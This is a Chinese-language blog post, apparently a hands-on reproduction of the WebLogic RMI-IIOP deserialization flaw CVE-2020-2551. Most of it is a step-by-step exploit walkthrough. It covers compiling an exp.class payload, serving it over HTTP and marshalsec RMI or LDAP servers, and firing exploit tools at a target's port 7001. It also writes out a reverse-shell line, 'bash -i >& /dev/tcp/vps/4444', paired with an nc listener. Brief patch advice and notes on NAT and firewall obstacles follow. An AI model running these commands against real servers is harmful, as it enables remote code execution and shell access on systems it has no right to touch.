Weblogic RMI-IIOP(cve-2020-2551)復現

百度weblogic 搜索日期20200429

0x01 復現

RMI方式:
1.vps 生成exp.class(示例爲windows彈計算器,如果想反彈linux shell 把命令改成bash -i >& /dev/tcp/vps/4444 0>&1,然後vps用nc -lvvp 4444 監聽本地端口即可,用java1.6版本編譯成功率高)
javac -source 1.6 -target 1.6 exp.java
2.vps 在當前目錄開一個web服務,記得在vps上開防火牆策略
python -m SimpleHTTPServer 80(python2)
python3 -m http.server 80(python3)
3.vps 通過marshalsec開放JRMP監聽本地端口 2222,調用RMI服務(#後的內容代表調用的class文件名)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://vps/#exp” 2222
4.本地 攻擊,使目標服務器訪問vps的2222端口,運行exp
java -jar CVE-2020-2551-master.jar 目標ip 7001 rmi://vps:2222/exp
ps:最後一步最好在本機執行,vps上可能會遇到環境不一致的問題。(openjdk和oraclejdk的差別)

過程截圖1
過程截圖2

LDAP方式:
1.vps 開啓LDAP和HTTP遠程監聽 (8000和389端口)
java -jar Ldapserver.jar -ip vps
2.vps 監聽nc(4444端口)
nc -lvvp 4444
3.本地 攻擊
python weblogic-cve-2020-2551.py 目標ip:7001 vps:389 vps:4444

過程截圖3

修復建議:
1.打weblogic 今年1月份的補丁
2.關t3
3.停weblogic(一勞永逸)

0x02 實際復現過程中遇到的問題

本地復現如果用windows tool搭的docker可能會出現docker內的虛機無法訪問vps,就沒觸發exp.class。應該是NAT地址轉換的原因,docker的地址是172的,linux搭建的docker好像沒這個問題(哭了 )。後來我在windows機又單獨搭了一個weblogic環境。

再說一下比較雞肋的點,iiop建立通信後,使目標服務器主動對vps的訪問觸發exp.class(RMI方式),如下圖,如果防火牆對端口做的是白名單,那就涼涼了。。
nc反彈shell創建連接
再者說在互聯網環境下,防火牆對服務器進行NAT地址轉換,iiop協議默認綁定的是個內網地址,發給vps,此時vps與一個內網地址建立連接,那肯定是無法成功的。。。

0x03 參考鏈接

Y4er/CVE-2020-2551
手把手教你解決Weblogic CVE-2020-2551 POC網絡問題
WebLogic CVE-2020-2551漏洞分析
Weblogic CVE-2020-2551 IIOP反序列化漏洞復現

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章